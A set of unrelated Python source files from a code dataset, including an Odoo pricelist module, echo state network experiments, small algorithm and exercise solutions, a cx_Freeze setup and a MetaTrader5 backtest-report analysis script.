rule.product_tmpl_id.id:\n continue\n if rule.product_id and product.id != rule.product_id.id:\n continue\n # 如果产品中有分类\n if rule.categ_id:\n cat = product.categ_id\n while cat:\n if cat.id == rule.categ_id.id:\n break\n cat = cat.parent_id\n if not cat:\n continue\n if rule.base == -1:\n if rule.base_pricelist_id:\n price_tmp = self._price_get_multi(cr, uid,\n rule.base_pricelist_id, [(product,\n qty, False)], context=context)[product.id]\n ptype_src = rule.base_pricelist_id.currency_id.id\n price_uom_id = qty_uom_id\n price = currency_obj.compute(cr, uid,\n ptype_src, pricelist.currency_id.id,\n price_tmp, round=False,\n context=context)\n elif rule.base == -2:\n seller = False\n for seller_id in product.seller_ids:\n if (not partner) or (seller_id.name.id != partner):\n continue\n seller = seller_id\n if not seller and product.seller_ids:\n seller = product.seller_ids[0]\n if seller:\n qty_in_seller_uom = qty\n seller_uom = seller.product_uom.id\n if qty_uom_id != seller_uom:\n qty_in_seller_uom = product_uom_obj._compute_qty(cr, uid, qty_uom_id, qty, to_uom_id=seller_uom)\n price_uom_id = seller_uom\n for line in seller.pricelist_ids:\n if line.min_quantity <= qty_in_seller_uom:\n price = line.price\n\n else:\n if rule.base not in price_types:\n price_types[rule.base] = price_type_obj.browse(cr, uid, int(rule.base))\n price_type = price_types[rule.base]\n\n # price_get returns the price in the context UoM, i.e. qty_uom_id\n price_uom_id = qty_uom_id\n price = currency_obj.compute(\n cr, uid,\n price_type.currency_id.id, pricelist.currency_id.id,\n product_obj._price_get(cr, uid, [product], price_type.field, context=context)[product.id],\n round=False, context=context)\n if price is not False:\n price_limit = price\n price = price * (1.0+(rule.price_discount or 0.0))\n if rule.price_round:\n price = tools.float_round(price, precision_rounding=rule.price_round)\n\n convert_to_price_uom = (lambda price: product_uom_obj._compute_price(\n cr, uid, product.uom_id.id,\n price, price_uom_id))\n if rule.price_surcharge:\n price_surcharge = convert_to_price_uom(rule.price_surcharge)\n price += price_surcharge\n\n if rule.price_min_margin:\n price_min_margin = convert_to_price_uom(rule.price_min_margin)\n price = max(price, price_limit + price_min_margin)\n\n if rule.price_max_margin:\n price_max_margin = convert_to_price_uom(rule.price_max_margin)\n price = min(price, price_limit + price_max_margin)\n\n rule_id = rule.id\n break\n # Final price conversion to target UoM\n\n price = product_uom_obj._compute_price(cr, uid, price_uom_id, price, qty_uom_id)\n results[product.id] = (price, rule_id)\n return results\n\n # 创建价格表时插入记录\n @api.model\n def create(self, vals):\n res = super(qdodoo_product_pricelist_inherit, self).create(vals)\n self.env['qdodoo.pricelist.edit.line'].create({'name':datetime.now(),'user_id':self._uid,'pricelist_id':res.name,'note':'创建价格表:%s'%res.name})\n return res\n\n # 编辑价格表是插入数据\n @api.multi\n def write(self, vals):\n for obj in self:\n if vals.get('active'):\n self.env['qdodoo.pricelist.edit.line'].create({'name':datetime.now(),'user_id':self._uid,'pricelist_id':obj.name,'note':'将价格表%s置为无效'%obj.name})\n if vals.get('type'):\n self.env['qdodoo.pricelist.edit.line'].create({'name':datetime.now(),'user_id':self._uid,'pricelist_id':obj.name,'note':'将价格表类型由%s修改为%s'%(obj.type,vals.get('type'))})\n if vals.get('name'):\n self.env['qdodoo.pricelist.edit.line'].create({'name':datetime.now(),'user_id':self._uid,'pricelist_id':obj.name,'note':'将价格表名称由%s修改为%s'%(obj.name,vals.get('name'))})\n return super(qdodoo_product_pricelist_inherit, self).write(vals)\n\n # 删除价格表\n @api.multi\n def unlink(self):\n self.env['qdodoo.pricelist.edit.line'].create({'name':datetime.now(),'user_id':self._uid,'pricelist_id':self.name,'note':'删除价格表:%s'%self.name})\n return super(qdodoo_product_pricelist_inherit, self).unlink()\n\nclass qdodoo_pricelist_partner_inherit(models.Model):\n _name = 'product.pricelist.partner'\n\n qdodoo_partner_id = fields.Many2one('product.pricelist',u'价格表')\n name = fields.Many2one('res.partner',u'业务伙伴',domain=[('customer','=',True)])\n\n # 创建数据,修改原有的合作伙伴的销售价格表\n def create(self, cr, uid, vals, context=None):\n partner_obj = self.pool.get('res.partner')\n if vals.get('name'):\n # 先修改业务伙伴的销售价格表\n partner_obj.write(cr, uid, vals.get('name'),{'property_product_pricelist':vals.get('qdodoo_partner_id')})\n # 查询其他的关联此业务伙伴的价格表\n obj_ids = self.search(cr, uid, [('name','=',vals.get('name'))])\n if obj_ids:\n super(qdodoo_pricelist_partner_inherit, self).unlink(cr, uid, obj_ids)\n return super(qdodoo_pricelist_partner_inherit, self).create(cr, uid, vals, context=context)\n\n # 编辑数据,修改原有的合作伙伴的销售价格表\n def write(self, cr, uid, ids, vals, context=None):\n partner_obj = self.pool.get('res.partner')\n obj = self.browse(cr, uid, ids [0])\n if vals.get('name'):\n # 先修改业务伙伴的销售价格表\n partner_obj.write(cr, uid, vals.get('name'),{'property_product_pricelist':obj.qdodoo_partner_id.id})\n # 查询其他的关联此业务伙伴的价格表\n obj_ids = self.search(cr, uid, [('name','=',vals.get('name')),('id','!=',ids[0])])\n if obj_ids:\n super(qdodoo_pricelist_partner_inherit, self).unlink(cr, uid, obj_ids)\n # 修改原有的客户的销售价格表\n partner_obj.write(cr, uid, obj.name.id,{'property_product_pricelist':1})\n return super(qdodoo_pricelist_partner_inherit, self).write(cr, uid, ids, vals, context=context)\n\n # 删除数据,修改原有的合作伙伴的销售价格表\n def unlink(self, cr, uid, ids, context=None):\n obj = self.browse(cr, uid, ids[0])\n partner_obj = self.pool.get('res.partner')\n if obj.name:\n partner_obj.write(cr, uid, obj.name.id,{'property_product_pricelist':1})\n return super(qdodoo_pricelist_partner_inherit, self).unlink(cr, uid, ids, context=context)\n\nclass qdodoo_pricelist_edit_line(models.Model):\n \"\"\"\n 价格表修改记录\n \"\"\"\n _name = 'qdodoo.pricelist.edit.line'\n _order = 'id desc'\n\n name = fields.Datetime(u'修改时间')\n user_id = fields.Many2one('res.users',u'修改人')\n pricelist_id = fields.Char(u'修改的价格表')\n note = fields.Char(u'修改内容')","sub_path":"qdodoo_websale_update/models/taylor_price_version_list_ref.py","file_name":"taylor_price_version_list_ref.py","file_ext":"py","file_size_in_byte":25711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"530532807","text":"\n#Run this script to run the experiment\n#Steps to follow are:\n# 1. Preprocessing of data\n# 2. Give the data to the reservoir\n# 3. Plot the performance (such as error rate/accuracy)\n\nfrom reservoir import DetermimisticReservoir as dr, Tuner as tuner, EchoStateNetwork as ESN, DeterministicTuner as dTuner, ReservoirTopology as topology\nfrom plotting import OutputPlot as outputPlot, ErrorPlot as errorPlot\nfrom performance import ErrorMetrics as rmse\nimport numpy as np\nfrom sklearn import preprocessing as pp\nimport os\nfrom datetime import datetime\n\nerrorFunction = rmse.MeanSquareError()\n\n#Read data from the file\ndata = np.loadtxt('MackeyGlass_t17.txt')\n\n# Normalize the raw data\nminMax = pp.MinMaxScaler((0,1))\ndata = minMax.fit_transform(data)\n\n# Training Input and Output data\nnTraining = 3000\nnTesting = 1000\n\n# Training input data\ninput = np.hstack((np.ones((nTraining, 1)),data[:nTraining].reshape((nTraining, 1))))\noutput = data[1:nTraining+1].reshape((nTraining, 1))\n\n\n# Partition the training data into training and validation\ntrainingRatio = 0.6\nsplitIndex = int(input.shape[0] * trainingRatio)\ntrainingInputData = input[:splitIndex]\nvalidationInputData = input[splitIndex:]\ntrainingOutputData = output[:splitIndex]\nvalidationOutputData = output[splitIndex:]\n\n\n# Testing Input data\ntestInputData = np.hstack((np.ones((nTesting, 1)),data[nTraining:nTraining+nTesting].reshape((nTesting, 1))))\ntestActualOutputData = data[nTraining+1:nTraining+nTesting+1].reshape((nTesting, 1))\n\nsize = 256\ninitialTransient = 5\nrunTimes = 10\ninputConnectivity = 1.0\n\ndef runStandardESN():\n standardError = 0\n testPredictedOutputDataStandard = 0\n for i in range(runTimes):\n #Tune the standard reservoir\n reservoirConnectivityBound = (0.1,1.0)\n\n resTuner = tuner.ESNConnTuner(size=size,\n initialTransient=initialTransient,\n trainingInputData=trainingInputData,\n trainingOutputData=trainingOutputData,\n validationInputData=validationInputData,\n validationOutputData=validationOutputData,\n inputConnectivity=inputConnectivity,\n reservoirConnectivityBound=reservoirConnectivityBound,\n times=5)\n\n reservoirConnectivityOptimum = resTuner.getOptimalParameters()\n\n\n #Train the reservoir with optimal parameters\n esn = ESN.EchoStateNetwork(size=size,\n inputData=trainingInputData,\n outputData=trainingOutputData,\n reservoirTopology=topology.RandomTopology(size=size, connectivity=reservoirConnectivityOptimum),\n inputConnectivity=inputConnectivity)\n\n\n\n esn.trainReservoir()\n\n #Warm up for the trained data\n predictedTrainingOutputData = esn.predict(trainingInputData)\n\n\n #Predict for future\n lastAvailablePoint = predictedTrainingOutputData[nTraining-1,0]\n testingPredictedOutputData = []\n for i in range(nTesting):\n #Compose the query\n query = [1.0]\n query.append(lastAvailablePoint)\n\n #Predict the next point\n nextPoint = esn.predict(np.array(query).reshape(1,2))[0,0]\n testingPredictedOutputData.append(nextPoint)\n\n lastAvailablePoint = nextPoint\n\n testingPredictedOutputData = np.array(testingPredictedOutputData).reshape(nTesting, 1)\n\n #Predict\n testPredictedOutputDataStandard = minMax.inverse_transform(testingPredictedOutputData)\n actual = minMax.inverse_transform(testActualOutputData)\n standardError += errorFunction.compute(actual.reshape((actual.shape[0],1)), testPredictedOutputDataStandard.reshape((testPredictedOutputDataStandard.shape[0],1)))\n return testPredictedOutputDataStandard, (standardError/runTimes)\n\ndef runErdosESN():\n erdosError = 0\n testPredictedOutputDataErdos = 0\n for i in range(runTimes):\n # Tune the Erdoys Renyi Network\n probabilityBound = (0.1,1.0) #To avoid isolated bounds, keep the upper bound low\n esnTuner = tuner.ESNErdosTuner(size=size,\n initialTransient=initialTransient,\n trainingInputData=trainingInputData,\n trainingOutputData=trainingOutputData,\n validationInputData=validationInputData,\n validationOutputData=validationOutputData,\n inputConnectivity=inputConnectivity,\n probabilityBound=probabilityBound,\n times=5)\n probabilityOptimum = esnTuner.getOptimalParameters()\n\n res = ESN.EchoStateNetwork(size=size,\n inputData=trainingInputData,\n outputData=trainingOutputData,\n reservoirTopology=topology.ErdosRenyiTopology(size=size, probability=probabilityOptimum),\n inputConnectivity=inputConnectivity)\n res.trainReservoir()\n\n #Warm up using training data\n trainingPredictedOutputData = res.predict(trainingInputData)\n\n #Predict for future\n lastAvailablePoint = testInputData[0,1]\n testingPredictedOutputData = []\n for i in range(nTesting):\n #Compose the query\n query = [1.0]\n query.append(lastAvailablePoint)\n\n #Predict the next point\n nextPoint = res.predict(np.array(query).reshape(1,2))[0,0]\n testingPredictedOutputData.append(nextPoint)\n\n lastAvailablePoint = nextPoint\n\n testingPredictedOutputData = np.array(testingPredictedOutputData).reshape(nTesting, 1)\n\n #De-normalize\n actual = minMax.inverse_transform(testActualOutputData)\n testPredictedOutputDataErdos = minMax.inverse_transform(testingPredictedOutputData)\n\n #Error\n erdosError += errorFunction.compute(actual.reshape((actual.shape[0], 1)), testPredictedOutputDataErdos.reshape((testPredictedOutputDataErdos.shape[0],1)))\n return testPredictedOutputDataErdos, (erdosError/runTimes)\n\ndef runSmallWorld():\n smallWorldErrorError = 0\n testPredictedOutputDataSmallWorld = 0\n for i in range(runTimes):\n # Tune the Small world graphs\n meanDegreeBound = (2, size-1)\n betaBound = (0.1, 1.0)\n esnTuner = tuner.ESNSmallWorldGraphsTuner(size=size,\n initialTransient=initialTransient,\n trainingInputData=trainingInputData,\n trainingOutputData=trainingOutputData,\n validationInputData=validationInputData,\n validationOutputData=validationOutputData,\n inputConnectivity=inputConnectivity,\n meanDegreeBound=meanDegreeBound,\n betaBound=betaBound,\n times=5)\n\n meanDegreeOptimum, betaOptimum = esnTuner.getOptimalParameters()\n\n res = ESN.EchoStateNetwork(size=size,\n inputData=trainingInputData,\n outputData=trainingOutputData,\n reservoirTopology=topology.SmallWorldGraphs(size=size, meanDegree=meanDegreeOptimum, beta=betaOptimum),\n inputConnectivity=inputConnectivity)\n res.trainReservoir()\n\n #Warm up using training data\n trainingPredictedOutputData = res.predict(trainingInputData)\n\n #Predict for future\n lastAvailablePoint = testInputData[0,1]\n testingPredictedOutputData = []\n for i in range(nTesting):\n #Compose the query\n query = [1.0]\n query.append(lastAvailablePoint)\n\n #Predict the next point\n nextPoint = res.predict(np.array(query).reshape(1,2))[0,0]\n testingPredictedOutputData.append(nextPoint)\n\n lastAvailablePoint = nextPoint\n\n testingPredictedOutputData = np.array(testingPredictedOutputData).reshape(nTesting, 1)\n\n #De-normalize\n actual = minMax.inverse_transform(testActualOutputData)\n testPredictedOutputDataSmallWorld = minMax.inverse_transform(testingPredictedOutputData)\n\n #Error\n smallWorldErrorError += errorFunction.compute(actual.reshape((actual.shape[0], 1)), testPredictedOutputDataSmallWorld.reshape((testPredictedOutputDataSmallWorld.shape[0],1)))\n return testPredictedOutputDataSmallWorld, (smallWorldErrorError/runTimes)\n\ndef runScaleFree():\n scaleFreeError = 0\n testPredictedOutputDataScaleFree = 0\n for i in range(runTimes):\n # Tune the scale free networks\n attachmentBound = (1,size-1)\n esnTuner = tuner.ESNScaleFreeNetworksTuner(size=size,\n initialTransient=initialTransient,\n trainingInputData=trainingInputData,\n trainingOutputData=trainingOutputData,\n validationInputData=validationInputData,\n validationOutputData=validationOutputData,\n inputConnectivity=inputConnectivity,\n attachmentBound=attachmentBound,\n times=5)\n\n attachmentOptimum = esnTuner.getOptimalParameters()\n\n res = ESN.EchoStateNetwork(size=size,\n inputData=trainingInputData,\n outputData=trainingOutputData,\n reservoirTopology=topology.ScaleFreeNetworks(size=size, attachmentCount=attachmentOptimum),\n inputConnectivity=inputConnectivity)\n res.trainReservoir()\n\n #Warm up using training data\n trainingPredictedOutputData = res.predict(trainingInputData)\n\n #Predict for future\n lastAvailablePoint = testInputData[0,1]\n testingPredictedOutputData = []\n for i in range(nTesting):\n #Compose the query\n query = [1.0]\n query.append(lastAvailablePoint)\n\n #Predict the next point\n nextPoint = res.predict(np.array(query).reshape(1,2))[0,0]\n testingPredictedOutputData.append(nextPoint)\n\n lastAvailablePoint = nextPoint\n\n testingPredictedOutputData = np.array(testingPredictedOutputData).reshape(nTesting, 1)\n\n #De-normalize\n actual = minMax.inverse_transform(testActualOutputData)\n testPredictedOutputDataScaleFree = minMax.inverse_transform(testingPredictedOutputData)\n\n #Error\n scaleFreeError += errorFunction.compute(actual.reshape((actual.shape[0], 1)), testPredictedOutputDataScaleFree.reshape((testPredictedOutputDataScaleFree.shape[0],1)))\n return testPredictedOutputDataScaleFree, (scaleFreeError/runTimes)\n\ntestPredictedOutputDataStandard, standardError = runStandardESN()\ntestPredictedOutputDataErdos, erdosError = runErdosESN()\ntestPredictedOutputDataSmallWorld, smallWorldError = runSmallWorld()\ntestPredictedOutputDataScaleFree, scaleFreeError = runScaleFree()\ntestActualOutputData = minMax.inverse_transform(testActualOutputData[:nTesting, 0])\n\noutputFolderName = \"Outputs/Outputs\" + datetime.now().strftime(\"%Y_%m_%d_%H_%M_%S\")\nos.mkdir(outputFolderName)\n\n#Plotting of the prediction output and error\noutplot = outputPlot.OutputPlot(outputFolderName + \"/Prediction.html\", \"Mackey Glass Prediction\", \"Comparison of Random Graph Topolgies - Standard Vs Erdos\", \"Time\", \"Sea Level Pressure\")\noutplot.setXSeries(np.arange(1, nTesting + 1))\noutplot.setYSeries('Actual Output', testActualOutputData)\noutplot.setYSeries('Predicted Output_standard_ESN_with_all_parameters_tuned', testPredictedOutputDataStandard)\noutplot.setYSeries('Predicted Output_Erdoys_ESN_with_parameters_tuned', testPredictedOutputDataErdos)\noutplot.setYSeries('Predicted Output_Small World_ESN_with_parameters_tuned', testPredictedOutputDataSmallWorld)\noutplot.setYSeries('Predicted Output_Scale_Free_with_parameters_tuned', testPredictedOutputDataScaleFree)\noutplot.createOutput()\n\n#Plotting of regression error\nerrPlot = errorPlot.ErrorPlot(outputFolderName + \"/RegressionError.html\", \"Comparison of different graph topologies\", \"with parameters tuner\", \"ESN Configuration\", \"Total Error\")\nerrPlot.setXAxis(np.array(['Standard', 'Erdos Renyi', 'Small World Graph', 'Scale Free Network']))\nerrPlot.setYAxis('RMSE', np.array([standardError, erdosError, smallWorldError, scaleFreeError]))\nerrPlot.createOutput()\n","sub_path":"obsoleted/compareDifferentTopologies.py","file_name":"compareDifferentTopologies.py","file_ext":"py","file_size_in_byte":13280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"365005164","text":"import math as m\n\ndef data_bunch(X):\n \"\"\"X is the list of Markov-chain data containing 2N elements\"\"\"\n assert len(X)%2==0, 'length of X must be even'\n S=0\n s=0\n N=len(X)/2\n x=[]\n for i in range(N):\n S+=X[2*i]+X[2*i+1]\n s+=X[2*i]**2+X[2*i+1]**2\n x+=[(X[2*i]+X[2*i+1])/2., ]\n error=m.sqrt(s/(2.*N)-(S/(2.*N))**2)/m.sqrt(2.*N)\n return [S/(2.*N), error, x]","sub_path":"Chapter 1/data_bunch.py","file_name":"data_bunch.py","file_ext":"py","file_size_in_byte":460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"299799819","text":"invoer = \"5-9-7-1-7-8-3-2-4-8-7-9\"\nlijstgetallen = []\nfor line in invoer:\n line = line.split('-')\n if line[0] != '':\n lijstgetallen.append(line[0])\nresults = [int(line) for line in lijstgetallen]\ntotaal = sum(results)\ngemiddelde = totaal / len(results)\nprint('Gesorteerde list van ints ' + str(results))\nprint('Grootste getal ' + str(results[-1]) + ' en Kleinste getal: ' + str(results[0]))\nprint('Aantal getallen: ' + str(len(lijstgetallen)) + ' en Som van de getallen: ' + str(totaal))\nprint('Gemiddelde: ' + str(gemiddelde))","sub_path":"Les 07/3. Lists & numbers.py","file_name":"3. Lists & numbers.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"652233521","text":"import json\nimport sys\n\ndef main(argv):\n if len(argv) != 3:\n print(\"Usage: python -m scripts.make_prediction_source input_file output_location\")\n return\n\n input_file = argv[1]\n output_file = argv[2]\n\n fd = open(input_file, \"r\")\n input_lines = fd.readlines()\n fd.close()\n\n fd = open(output_file, \"w\")\n for i in range(len(input_lines)):\n if i % 2 == 0:\n line = input_lines[i]\n line = line.strip()\n \n res = {\"source\": line}\n res_str = json.dumps(res)\n \n fd.write(res_str + \"\\n\")\n fd.close()\n \n\nif __name__ == '__main__':\n main(sys.argv)\n","sub_path":"scripts/make_prediction_source.py","file_name":"make_prediction_source.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"612440097","text":"#116. Forming a Magic Square\ndef formingMagicSquare(s):\n solution = [[8,3,4],[1,5,9],[6,7,2]]\n cost = float('inf')\n\n for _ in range(4):\n diff = sum([abs(s[i][j] - solution[i][j]) for i in range(len(s)) for j in range(len(s))])\n cost = min(cost, diff)\n flipped = [i[::-1] for i in solution]\n diff = sum([abs(s[i][j] - flipped[i][j]) for i in range(len(s)) for j in range(len(s))])\n cost = min(cost, diff)\n solution = [list(i) for i in zip(*solution[::-1])]\n\n return cost\n\t\n#117. Climbing the Leaderboard\ndef climbingLeaderboard(ranked, player):\n result = []\n ranked = sorted(set(ranked), reverse=True)\n l = len(ranked)\n\n for a in player:\n while (l > 0) and (a >= ranked[l-1]):\n l -= 1\n result.append(l+1)\n return result\n\t\n#118. Extra Long Factorials\ndef extraLongFactorials(n):\n result = 1\n while n > 0:\n result *= n\n n-=1\n print(result)\n\t\n#119. Non-Divisible Subset\ndef nonDivisibleSubset(k, s):\n counts = [0] * k\n for number in s:\n counts[number % k] += 1\n\n count = min(counts[0], 1)\n for i in range(1, k//2+1):\n if i != k - i:\n count += max(counts[i], counts[k-i])\n if k % 2 == 0: \n count += 1\n \n return count\n\t\n#120. Queen's Attack II\ndef queensAttack(n, k, r_q, c_q, obstacles):\n obstacles = {(ob[0],ob[1]) for ob in obstacles}\n\n mvs, count = [(1,0),(0,1),(-1,0),(0,-1),(1,1),(-1,-1),(-1,1),(1,-1)], 0\n\n for m in mvs:\n cr, cc = r_q, c_q\n while (cr + m[0] >= 1 and cr + m[0] <= n) and (cc + m[1] >= 1 and cc + m[1] <= n):\n cr += m[0]\n cc += m[1]\n if (cr, cc) in obstacles:break\n count += 1\n\n return count\n\n","sub_path":"Problem Solving/Solution #116-130.py","file_name":"Solution #116-130.py","file_ext":"py","file_size_in_byte":1753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"371070467","text":"from cx_Freeze import setup, Executable\r\n\r\nbuild_exe_options = {\r\n\"includes\":[\"urllib.request\",\"zipfile.ZipFile\",\"os\"],\r\n\"optimize\":2,\r\n}\r\n\r\nsetup(\r\nname = \"updater\",\r\nversion = \"0.6\",\r\ndescription = \"updater\",\r\noptions = {\"build_exe\": build_exe_options},\r\nexecutables = [Executable(\"updater.py\")]\r\n)\r\n","sub_path":"update2exe.py","file_name":"update2exe.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"489794449","text":"\"\"\"\nThe Tribonacci sequence Tn is defined as follows:\n\nT0 = 0, T1 = 1, T2 = 1, and Tn+3 = Tn + Tn+1 + Tn+2 for n >= 0.\n\nGiven n, return the value of Tn.\n\nExample 1:\n Input: n = 4\n Output: 4\n Explanation:\n T_3 = 0 + 1 + 1 = 2\n T_4 = 1 + 1 + 2 = 4\n\nExample 2:\n Input: n = 25\n Output: 1389537\n\nConstraints:\n 0 <= n <= 37\n The answer is guaranteed to fit within a 32-bit integer, ie. answer <= 2^31 - 1.\n\"\"\"\n\ndef tribonacci(n):\n # merge three dict\n def merge(d1, d2, d3):\n new_d = dict()\n for num in d1:\n new_d[num] = d1[num] + d2[num] + d3[num]\n return new_d\n # init\n t = {0: {0: 1, 1: 0, 2: 0}, 1: {0: 0, 1: 1, 2: 0}, 2: {0: 0, 1: 0, 2: 1}}\n # generate t[n]\n for n in range(3, n + 1):\n t[n] = merge(t[n-3], t[n-2], t[n-1])\n del t[n - 3]\n\n return t[n][1] + t[n][2]\n\nprint(tribonacci(25))\n","sub_path":"LeetCode-Python/1137 N-th Tribonacci Number.py","file_name":"1137 N-th Tribonacci Number.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"425900959","text":"# Author:Zhang Yuan\nfrom MyPackage import *\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as patches\nimport seaborn as sns\nimport statsmodels.api as sm\nfrom scipy import stats\n\n# ------------------------------------------------------------\n__mypath__ = MyPath.MyClass_Path(\"\") # 路径类\nmylogging = MyDefault.MyClass_Default_Logging(activate=False) # 日志记录类,需要放在上面才行\nmyfile = MyFile.MyClass_File() # 文件操作类\nmyword = MyFile.MyClass_Word() # word生成类\nmyexcel = MyFile.MyClass_Excel() # excel生成类\nmyini = MyFile.MyClass_INI() # ini文件操作类\nmytime = MyTime.MyClass_Time() # 时间类\nmyparallel = MyTools.MyClass_ParallelCal() # 并行运算类\nmyplt = MyPlot.MyClass_Plot() # 直接绘图类(单个图窗)\nmypltpro = MyPlot.MyClass_PlotPro() # Plot高级图系列\nmyfig = MyPlot.MyClass_Figure(AddFigure=False) # 对象式绘图类(可多个图窗)\nmyfigpro = MyPlot.MyClass_FigurePro(AddFigure=False) # Figure高级图系列\nmynp = MyArray.MyClass_NumPy() # 多维数组类(整合Numpy)\nmypd = MyArray.MyClass_Pandas() # 矩阵数组类(整合Pandas)\nmypdpro = MyArray.MyClass_PandasPro() # 高级矩阵数组类\nmyDA = MyDataAnalysis.MyClass_DataAnalysis() # 数据分析类\nmyDefault = MyDefault.MyClass_Default_Matplotlib() # 画图恢复默认设置类\n# myMql = MyMql.MyClass_MqlBackups() # Mql备份类\n# myBaidu = MyWebCrawler.MyClass_BaiduPan() # Baidu网盘交互类\n# myImage = MyImage.MyClass_ImageProcess() # 图片处理类\nmyBT = MyBackTest.MyClass_BackTestEvent() # 事件驱动型回测类\nmyBTV = MyBackTest.MyClass_BackTestVector() # 向量型回测类\nmyML = MyMachineLearning.MyClass_MachineLearning() # 机器学习综合类\nmySQL = MyDataBase.MyClass_MySQL(connect=False) # MySQL类\nmySQLAPP = MyDataBase.MyClass_SQL_APPIntegration() # 数据库应用整合\nmyWebQD = MyWebCrawler.MyClass_QuotesDownload(tushare=False) # 金融行情下载类\nmyWebR = MyWebCrawler.MyClass_Requests() # Requests爬虫类\nmyWebS = MyWebCrawler.MyClass_Selenium(openChrome=False) # Selenium模拟浏览器类\nmyWebAPP = MyWebCrawler.MyClass_Web_APPIntegration() # 爬虫整合应用类\nmyEmail = MyWebCrawler.MyClass_Email() # 邮箱交互类\nmyReportA = MyQuant.MyClass_ReportAnalysis() # 研报分析类\nmyFactorD = MyQuant.MyClass_Factor_Detection() # 因子检测类\nmyKeras = MyDeepLearning.MyClass_tfKeras() # tfKeras综合类\nmyTensor = MyDeepLearning.MyClass_TensorFlow() # Tensorflow综合类\nmyMT5 = MyMql.MyClass_ConnectMT5(connect=False) # Python链接MetaTrader5客户端类\nmyMT5Pro = MyMql.MyClass_ConnectMT5Pro(connect=False) # Python链接MT5高级类\nmyMT5Indi = MyMql.MyClass_MT5Indicator() # MT5指标Python版\nmyMT5Report = MyMT5Report.MyClass_StratTestReport(AddFigure=False) # MT5策略报告类\nmyMT5Lots_Fix = MyMql.MyClass_Lots_FixedLever(connect=False) # 固定杠杆仓位类\nmyMT5Lots_Dy = MyMql.MyClass_Lots_DyLever(connect=False) # 浮动杠杆仓位类\nmyMT5run = MyMql.MyClass_RunningMT5() # Python运行MT5\nmyMT5code = MyMql.MyClass_CodeMql5() # Python生成MT5代码\nmyMoneyM = MyTrade.MyClass_MoneyManage() # 资金管理类\n# myDefault.set_backend_default(\"Pycharm\") # Pycharm下需要plt.show()才显示图\n#------------------------------------------------------------\n# Jupyter Notebook 控制台显示必须加上:%matplotlib inline ,弹出窗显示必须加上:%matplotlib auto\n# %matplotlib inline\n# import warnings\n# warnings.filterwarnings('ignore')\nmyDefault.set_backend_default(\"agg\") # 设置图片输出方式,这句必须放到类下面.\n\n#%%\nimport warnings\nwarnings.filterwarnings('ignore')\n\n\n\n# file = __mypath__.get_desktop_path() + \"\\\\Golden.XAUUSD.H1.xlsx\"\nfile = __mypath__.get_desktop_path() + \"\\\\\" +\"ReportTester.html\" # .html .xlsx\nfolder = __mypath__.dirname(file, uplevel=0)\nfilename = __mypath__.basename(file, uplevel=0)\nsavefolder = folder + \"\\\\\"+ filename.rsplit(\".\", maxsplit=1)[0]\n\n\n# 读取报告,加载品种信息到 self.symbol_df。注意部分平仓不适合deal_standard = True修正。\nstrat_setting, strat_result, dict_order_content, dict_deal_content = myMT5Report.read_report_xlsx(filepath=file, result_vert=True, deal_standard=False, onlytestsymbol=False)\nstrat_setting, strat_result, dict_order_content, dict_deal_content = myMT5Report.read_report_htm(filepath=file, result_vert=True, deal_standard=False, onlytestsymbol=False)\n\n# 解析下词缀\nsymbol = strat_setting.loc[\"Symbol:\"][0]\ntimeframe, timefrom, timeto = myMT5Report.parse_period(strat_setting)\n# 获取数据\ndata = myMT5Pro.getsymboldata(symbol,timeframe,timefrom, timeto,index_time=True, col_capitalize=True)\n# 设置pip_value。有时候做计算���,要重新设置下。\nmyMT5Report.set_pip_value(symbol, pip_value=float(1))\n\n\n# 设置为指定品种的内容\norder_content = dict_order_content[symbol]\ndeal_content = dict_deal_content[symbol]\n\n# ---以品种划分画策略报告中原始的走势图\nsavefig = savefolder + \"\\\\\" + \"0.以品种划分原策略走势图.jpg\"\nmyMT5Report.plot_dict_deal_content(dict_deal_content=dict_deal_content,savefig=None,show=True)\n\n\n# 分析交易单元,分为 unit_total、unit_buyonly、unit_sellonly。注意结果是根据 Order0 排序.\nunit_total = myMT5Report.content_to_unit_order(order_content=order_content, deal_content=deal_content, sortby=\"Order0\")\nunit_buyonly, unit_sellonly = myMT5Report.content_to_direct_unit_order(order_content=order_content, deal_content=deal_content, sortby=\"Order0\")\n\nresult = myMT5Report.cal_result_no_money_manage(unit_order=unit_total)[0]\n\n# ---绘制策略报告的资金走势结果,按all、buyonly、sellonly绘制。注意order和deal有区别,order是以整体单来算,deal是实际情况。\nsavefig = savefolder + \"\\\\1.策略基仓走势.jpg\"\nmyMT5Report.plot_report_balance(unit_total=unit_total, unit_buyonly=unit_buyonly, unit_sellonly=unit_sellonly, savefig=None, show=True, title=\"策略基仓走势\")\n\n\n#%% ======策略报告除去加仓行为(覆盖算法)======\n# ---获取无加仓的交易单元,返回 unit_total_noadd, unit_buyonly_noadd, unit_sellonly_noadd.\nunit_total_noadd, unit_buyonly_noadd, unit_sellonly_noadd = myMT5Report.get_noadd_unit(unit_buyonly=unit_buyonly, unit_sellonly=unit_sellonly, sortby=\"Order0\")\n\n# ---绘制策略报告的资金走势结果,按all、buyonly、sellonly绘制。\nsavefig = savefolder + \"\\\\2.策略基仓+去加仓走势.jpg\"\nmyMT5Report.plot_report_balance(unit_total=unit_total_noadd, unit_buyonly=unit_buyonly_noadd, unit_sellonly=unit_sellonly_noadd, savefig=None, show=True, title=\"策略基仓+去加仓走势\")\n\n# ---基仓无加仓情况下固定bar持仓走势研究\n# 根据 unit_order 把报告中的时间解析成 总数据 中的时间。因为报告中的时间太详细,我们定位到总数据中的时间框架中。结果中\"TimeBar\"表示持仓占用的Bar的数量,比如1根Bar上开仓平仓,占用为1。BarIndex0 